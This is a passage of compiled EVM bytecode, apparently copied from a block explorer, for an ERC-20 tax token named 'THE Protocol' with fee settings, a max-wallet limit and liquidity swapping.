0fd5b50565b60008151905062000cbe8162000c93565b92915050565b60006020828403121562000cdd5762000cdc62000c5a565b5b600062000ced8482850162000cad565b91505092915050565b62000d018162000c7f565b82525050565b600060408201905062000d1e600083018562000cf6565b62000d2d602083018462000cf6565b9392505050565b62000d3f8162000b40565b82525050565b600060208201905062000d5c600083018462000d34565b92915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600062000dd160218362000d62565b915062000dde8262000d73565b604082019050919050565b6000602082019050818103600083015262000e048162000dc2565b9050919050565b600081519050919050565b60005b8381101562000e3657808201518184015260208101905062000e19565b60008484015250505050565b6000601f19601f8301169050919050565b600062000e608262000e0b565b62000e6c818562000d62565b935062000e7e81856020860162000e16565b62000e898162000e42565b840191505092915050565b6000602082019050818103600083015262000eb0818462000e53565b905092915050565b608051613d0562000ef0600039600081816110360152818161170301528181611cc8015281816123760152612bd10152613d056000f3fe60806040526004361061021e5760003560e01c8063715018a611610123578063ca33e64c116100ab578063df20fd491161006f578063df20fd49146107e4578063e96fada21461080d578063f1f3bca314610838578063f2fde38b14610875578063f887ea401461089e57610225565b8063ca33e64c146106ff578063caf5f67d1461072a578063d51ed1c814610741578063d7c010321461077e578063dd62ed3e146107a757610225565b80638da5cb5b116100f25780638da5cb5b146106185780638f9a55c01461064357806395d89b411461066e578063a1ac727f14610699578063a9059cbb146106c257610225565b8063715018a61461057e5780637537ccb614610595578063850c0bd6146105be578063893d20e8146105ed57610225565b80632b112e49116101a6578063571ac8b011610175578063571ac8b014610485578063658d4b7f146104c25780636ddd1713146104eb5780636ec518b81461051657806370a082311461054157610225565b80632b112e49146103db5780632ccb1b3014610406578063313ce5671461042f57806349bd5a5e1461045a57610225565b806318160ddd116101ed57806318160ddd146102f85780631c500ddc14610323578063201e79911461034c57806323376e8f1461037557806323b872dd1461039e57610225565b806306fdde031461022a578063095ea7b3146102555780631161ae391461029257806316b9b95b146102cf57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f6108c9565b60405161024c9190612de9565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612eb3565b610906565b6040516102899190612f0e565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190612f29565b6109f8565b6040516102c69190612f0e565b60405180910390f35b3480156102db57600080fd5b506102f660048036038101906102f191906130b1565b610a0d565b005b34801561030457600080fd5b5061030d610b2f565b60405161031a9190613109565b60405180910390f35b34801561032f57600080fd5b5061034a60048036038101906103459190613124565b610b39565b005b34801561035857600080fd5b50610373600480360381019061036e9190612f29565b610c35565b005b34801561038157600080fd5b5061039c60048036038101906103979190612f29565b610c47565b005b3480156103aa57600080fd5b506103c560048036038101906103c0919061319f565b610d0d565b6040516103d29190612f0e565b60405180910390f35b3480156103e757600080fd5b506103f0610f0d565b6040516103fd9190613109565b60405180910390f35b34801561041257600080fd5b5061042d60048036038101906104289190612eb3565b610f8f565b005b34801561043b57600080fd5b5061044461102b565b604051610451919061320e565b60405180910390f35b34801561046657600080fd5b5061046f611034565b60405161047c9190613238565b60405180910390f35b34801561049157600080fd5b506104ac60048036038101906104a79190613253565b611058565b6040516104b99190612f0e565b60405180910390f35b3480156104ce57600080fd5b506104e960048036038101906104e491906132ac565b61108b565b005b3480156104f757600080fd5b5061050061117b565b60405161050d9190612f0e565b60405180910390f35b34801561052257600080fd5b5061052b61118e565b6040516105389190613238565b60405180910390f35b34801561054d57600080fd5b5061056860048036038101906105639190613253565b6111b4565b6040516105759190613109565b60405180910390f35b34801561058a57600080fd5b506105936111fd565b005b3480156105a157600080fd5b506105bc60048036038101906105b791906132ac565b611350565b005b3480156105ca57600080fd5b506105d3611401565b6040516105e49594939291906132ec565b60405180910390f35b3480156105f957600080fd5b50610602611429565b60405161060f9190613238565b60405180910390f35b34801561062457600080fd5b5061062d611438565b60405161063a9190613238565b60405180910390f35b34801561064f57600080fd5b50610658611461565b6040516106659190613109565b60405180910390f35b34801561067a57600080fd5b50610683611467565b6040516106909190612de9565b60405180910390f35b3480156106a557600080fd5b506106c060048036038101906106bb919061333f565b6114a4565b005b3480156106ce57600080fd5b506106e960048036038101906106e49190612eb3565b6115b8565b6040516106f69190612f0e565b60405180910390f35b34801561070b57600080fd5b506107146115cd565b6040516107219190613238565b60405180910390f35b34801561073657600080fd5b5061073f6115f3565b005b34801561074d57600080fd5b50610768600480360381019061076391906133ae565b6116e9565b6040516107759190613109565b60405180910390f35b34801561078a57600080fd5b506107a560048036038101906107a091906133db565b611759565b005b3480156107b357600080fd5b506107ce60048036038101906107c9919061342e565b6118b6565b6040516107db9190613109565b60405180910390f35b3480156107f057600080fd5b5061080b6004803603810190610806919061346e565b61193d565b005b34801561081957600080fd5b506108226119b8565b60405161082f9190613238565b60405180910390f35b34801561084457600080fd5b5061085f600480360381019061085a91906134ae565b6119de565b60405161086c9190613109565b60405180910390f35b34801561088157600080fd5b5061089c60048036038101906108979190613253565b6119ea565b005b3480156108aa57600080fd5b506108b3611bab565b6040516108c0919061353a565b60405180910390f35b60606040518060400160405280600c81526020017f5448452050726f746f636f6c0000000000000000000000000000000000000000815250905090565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109e69190613109565b60405180910390a36001905092915050565b600082610a04836116e9565b11905092915050565b610a15611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a99906135a1565b60405180910390fd5b60005b8151811015610b2b57610b17828281518110610ac457610ac36135c1565b5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b12858581518110610b0557610b046135c1565b5b60200260200101516111b4565b611c9d565b508080610b239061361f565b915050610aa5565b5050565b6000600454905090565b610b41611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc5906135a1565b60405180910390fd5b84600a8190555083600c8190555082600b8190555081600d81905550610c2182610c1385610c05888a61203090919063ffffffff16565b61203090919063ffffffff16565b61203090919063ffffffff16565b600e8190555080600f819055505050505050565b81601381905550806014819055505050565b610c4f611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd3906135a1565b60405180910390fd5b610d0381610cf584600454611bd190919063ffffffff16565b611c4b90919063ffffffff16565b6005819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610ef957610e78826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208e9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610f04848484611c9d565b90509392505050565b6000610f8a610f3d600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166111b4565b610f7c610f6b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166111b4565b6004546120f290919063ffffffff16565b6120f290919063ffffffff16565b905090565b6001601760006101000a81548160ff021916908315150217905550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661100057600080fd5b61100b823083611c9d565b506000601760006101000a81548160ff0219169083151502179055505050565b60006009905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000611084827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610906565b9050919050565b611093611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611117906135a1565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601560149054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611205611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611292576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611289906135a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166113a657600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000806000806000600a54600d54600b54600e54600f54945094509450945094509091929394565b6000611433611438565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60055481565b60606040518060400160405280600481526020017f5448452100000000000000000000000000000000000000000000000000000000815250905090565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114fa57600080fd5b60005b82518110156115b2578373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb848381518110611535576115346135c1565b5b6020026020010151846040518363ffffffff1660e01b815260040161155b929190613667565b6020604051808303816000875af115801561157a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159e91906136a5565b5080806115aa9061361f565b9150506114fd565b50505050565b60006115c5338484611c9d565b905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661164957600080fd5b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476175309060405161169590613703565b600060405180830381858888f193505050503d80600081146116d3576040519150601f19603f3d011682016040523d82523d6000602084013e6116d8565b606091505b50509050806116e657600080fd5b50565b60006117526116f6610f0d565b61174461173560026117277f00000000000000000000000000000000000000000000000000000000000000006111b4565b611bd190919063ffffffff16565b85611bd190919063ffffffff16565b611c4b90919063ffffffff16565b9050919050565b611761611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e5906135a1565b60405180910390fd5b82601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661199357600080fd5b8060168190555081601560146101000a81548160ff0219169083151502179055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e549050919050565b6119f2611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a76906135a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae59061378a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808303611be35760009050611c45565b60008284611bf191906137aa565b9050828482611c00919061381b565b14611c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c37906138be565b60405180910390fd5b809150505b92915050565b6000611c8d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061213c565b905092915050565b600033905090565b6000601760009054906101000a900460ff1615611cc657611cbf84848461219f565b9050612029565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d705750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611dc65750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e245760055482611dd8856111b4565b611de291906138de565b1115611e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1a9061395e565b60405180910390fd5b5b611e2c612372565b15611e3a57611e39612447565b5b611ec3826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208e9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611f1185612b69565b611f1b5782611f27565b611f26858585612bc0565b5b9050611f7b81600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203090919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161201b9190613109565b60405180910390a360019150505b9392505050565b600080828461203f91906138de565b905083811015612084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207b906139ca565b60405180910390fd5b8091505092915050565b60008383111582906120d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cd9190612de9565b60405180910390fd5b50600083856120e591906139ea565b9050809150509392505050565b600061213483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061208e565b905092915050565b60008083118290612183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217a9190612de9565b60405180910390fd5b5060008385612192919061381b565b9050809150509392505050565b600061222a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208e9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bf82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203090919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161235f9190613109565b60405180910390a3600190509392505050565b60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156123dd5750601760009054906101000a900460ff16155b80156123f55750601560149054906101000a900460ff165b80156124425750601654600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601760006101000a81548160ff02191690831515021790555060006124726013546014546109f8565b61247d576000612480565b60005b60ff16905060006124c360026124b5600e546124a786601654611bd190919063ffffffff16565b611c4b90919063ffffffff16565b611c4b90919063ffffffff16565b905060006124dc826016546120f290919063ffffffff16565b90506000600267ffffffffffffffff8111156124fb576124fa612f6e565b5b6040519080825280602002602001820160405280156125295781602001602082028036833780820191505090505b5090503081600081518110612541576125406135c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106125b2576125b16135c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b8152600401612655959493929190613b17565b600060405180830381600087803b15801561266f57600080fd5b505af1158015612683573d6000803e3d6000fd5b50505050600061269c82476120f290919063ffffffff16565b905060006126c86126b7600289611c4b90919063ffffffff16565b600e546120f290919063ffffffff16565b9050600061270460026126f6846126e88c88611bd190919063ffffffff16565b611c4b90919063ffffffff16565b611c4b90919063ffffffff16565b9050600061272f83612721600c5487611bd190919063ffffffff16565b611c4b90919063ffffffff16565b9050600061275a8461274c600d5488611bd190919063ffffffff16565b611c4b90919063ffffffff16565b9050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036128be576000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612821848461203090919063ffffffff16565b6175309060405161283190613703565b600060405180830381858888f193505050503d806000811461286f576040519150601f19603f3d011682016040523d82523d6000602084013e612874565b606091505b50509050806128b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128af90613bbd565b60405180910390fd5b50612a30565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826175309060405161290a90613703565b600060405180830381858888f193505050503d8060008114612948576040519150601f19603f3d011682016040523d82523d6000602084013e61294d565b606091505b505090506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16846175309060405161299d90613703565b600060405180830381858888f193505050503d80600081146129db576040519150601f19603f3d011682016040523d82523d6000602084013e6129e0565b606091505b505090508180156129ee5750805b612a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2490613bbd565b60405180910390fd5b50505b6000891115612b4257601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308c600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401612ac296959493929190613bdd565b60606040518083038185885af1158015612ae0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612b059190613c53565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506838a604051612b39929190613ca6565b60405180910390a15b505050505050505050506000601760006101000a81548160ff021916908315150217905550565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080612c40600f54612c32612c237f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146119de565b86611bd190919063ffffffff16565b611c4b90919063ffffffff16565b9050612c9481600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203090919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612d349190613109565b60405180910390a3612d4f81846120f290919063ffffffff16565b9150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d93578082015181840152602081019050612d78565b60008484015250505050565b6000601f19601f8301169050919050565b6000612dbb82612d59565b612dc58185612d64565b9350612dd5818560208601612d75565b612dde81612d9f565b840191505092915050565b60006020820190508181036000830152612e038184612db0565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e4a82612e1f565b9050919050565b612e5a81612e3f565b8114612e6557600080fd5b50565b600081359050612e7781612e51565b92915050565b6000819050919050565b612e9081612e7d565b8114612e9b57600080fd5b50565b600081359050612ead81612e87565b92915050565b60008060408385031215612eca57612ec9612e15565b5b6000612ed885828601612e68565b9250506020612ee985828601612e9e565b9150509250929050565b60008115159050919050565b612f0881612ef3565b82525050565b6000602082019050612f236000830184612eff565b92915050565b60008060408385031215612f4057612f3f612e15565b5b6000612f4e85828601612e9e565b9250506020612f5f85828601612e9e565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612fa682612d9f565b810181811067ffffffffffffffff82111715612fc557612fc4612f6e565b5b80604052505050565b6000612fd8612e0b565b9050612fe48282612f9d565b919050565b600067ffffffffffffffff82111561300457613003612f6e565b5b602082029050602081019050919050565b600080fd5b600061302d61302884612fe9565b612fce565b905080838252602082019050602084028301858111156130505761304f613015565b5b835b8181101561307957806130658882612e68565b845260208401935050602081019050613052565b5050509392505050565b600082601f83011261309857613097612f69565b5b81356130a884826020860161301a565b91505092915050565b6000602082840312156130c7576130c6612e15565b5b600082013567ffffffffffffffff8111156130e5576130e4612e1a565b5b6130f184828501613083565b91505092915050565b61310381612e7d565b82525050565b600060208201905061311e60008301846130fa565b92915050565b600080600080600060a086880312156131405761313f612e15565b5b600061314e88828901612e9e565b955050602061315f88828901612e9e565b945050604061317088828901612e9e565b935050606061318188828901612e9e565b925050608061319288828901612e9e565b9150509295509295909350565b6000806000606084860312156131b8576131b7612e15565b5b60006131c686828701612e68565b93505060206131d786828701612e68565b92505060406131e886828701612e9e565b9150509250925092565b600060ff82169050919050565b613208816131f2565b82525050565b600060208201905061322360008301846131ff565b92915050565b61323281612e3f565b82525050565b600060208201905061324d6000830184613229565b92915050565b60006020828403121561326957613268612e15565b5b600061327784828501612e68565b91505092915050565b61328981612ef3565b811461329457600080fd5b50565b6000813590506132a681613280565b92915050565b600080604083850312156132c3576132c2612e15565b5b60006132d185828601612e68565b92505060206132e285828601613297565b9150509250929050565b600060a08201905061330160008301886130fa565b61330e60208301876130fa565b61331b60408301866130fa565b61332860608301856130fa565b61333560808301846130fa565b9695505050505050565b60008060006060848603121561335857613357612e15565b5b600061336686828701612e68565b935050602084013567ffffffffffffffff81111561338757613386612e1a565b5b61339386828701613083565b92505060406133a486828701612e9e565b9150509250925092565b6000602082840312156133c4576133c3612e15565b5b60006133d284828501612e9e565b91505092915050565b6000806000606084860312156133f4576133f3612e15565b5b600061340286828701612e68565b935050602061341386828701612e68565b925050604061342486828701612e68565b9150509250925092565b6000806040838503121561344557613444612e15565b5b600061345385828601612e68565b925050602061346485828601612e68565b9150509250929050565b6000806040838503121561348557613484612e15565b5b600061349385828601613297565b92505060206134a485828601612e9e565b9150509250929050565b6000602082840312156134c4576134c3612e15565b5b60006134d284828501613297565b91505092915050565b6000819050919050565b60006135006134fb6134f684612e1f565b6134db565b612e1f565b9050919050565b6000613512826134e5565b9050919050565b600061352482613507565b9050919050565b61353481613519565b82525050565b600060208201905061354f600083018461352b565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061358b602083612d64565b915061359682613555565b602082019050919050565b600060208201905081810360008301526135ba8161357e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061362a82612e7d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361365c5761365b6135f0565b5b600182019050919050565b600060408201905061367c6000830185613229565b61368960208301846130fa565b9392505050565b60008151905061369f81613280565b92915050565b6000602082840312156136bb576136ba612e15565b5b60006136c984828501613690565b91505092915050565b600081905092915050565b50565b60006136ed6000836136d2565b91506136f8826136dd565b600082019050919050565b600061370e826136e0565b9150819050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613774602683612d64565b915061377f82613718565b604082019050919050565b600060208201905081810360008301526137a381613767565b9050919050565b60006137b582612e7d565b91506137c083612e7d565b92508282026137ce81612e7d565b915082820484148315176137e5576137e46135f0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061382682612e7d565b915061383183612e7d565b925082613841576138406137ec565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138a8602183612d64565b91506138b38261384c565b604082019050919050565b600060208201905081810360008301526138d78161389b565b9050919050565b60006138e982612e7d565b91506138f483612e7d565b925082820190508082111561390c5761390b6135f0565b5b92915050565b7f4d61782057616c6c657420457863656564656400000000000000000000000000600082015250565b6000613948601383612d64565b915061395382613912565b602082019050919050565b600060208201905081810360008301526139778161393b565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006139b4601b83612d64565b91506139bf8261397e565b602082019050919050565b600060208201905081810360008301526139e3816139a7565b9050919050565b60006139f582612e7d565b9150613a0083612e7d565b9250828203905081811115613a1857613a176135f0565b5b92915050565b6000819050919050565b6000613a43613a3e613a3984613a1e565b6134db565b612e7d565b9050919050565b613a5381613a28565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613a8e81612e3f565b82525050565b6000613aa08383613a85565b60208301905092915050565b6000602082019050919050565b6000613ac482613a59565b613ace8185613a64565b9350613ad983613a75565b8060005b83811015613b0a578151613af18882613a94565b9750613afc83613aac565b925050600181019050613add565b5085935050505092915050565b600060a082019050613b2c60008301886130fa565b613b396020830187613a4a565b8181036040830152613b4b8186613ab9565b9050613b5a6060830185613229565b613b6760808301846130fa565b9695505050505050565b7f72656365697665722072656a656374656420455448207472616e736665720000600082015250565b6000613ba7601e83612d64565b9150613bb282613b71565b602082019050919050565b60006020820190508181036000830152613bd681613b9a565b9050919050565b600060c082019050613bf26000830189613229565b613bff60208301886130fa565b613c0c6040830187613a4a565b613c196060830186613a4a565b613c266080830185613229565b613c3360a08301846130fa565b979650505050505050565b600081519050613c4d81612e87565b92915050565b600080600060608486031215613c6c57613c6b612e15565b5b6000613c7a86828701613c3e565b9350506020613c8b86828701613c3e565b9250506040613c9c86828701613c3e565b9150509250925092565b6000604082019050613cbb60008301856130fa565b613cc860208301846130fa565b939250505056fea264697066735822122005b697b0e36ea97737dd898f98ed1ce99adf71b52b723642e04edd4e21342c9164736f6c63430008110033
Deployed Bytecode
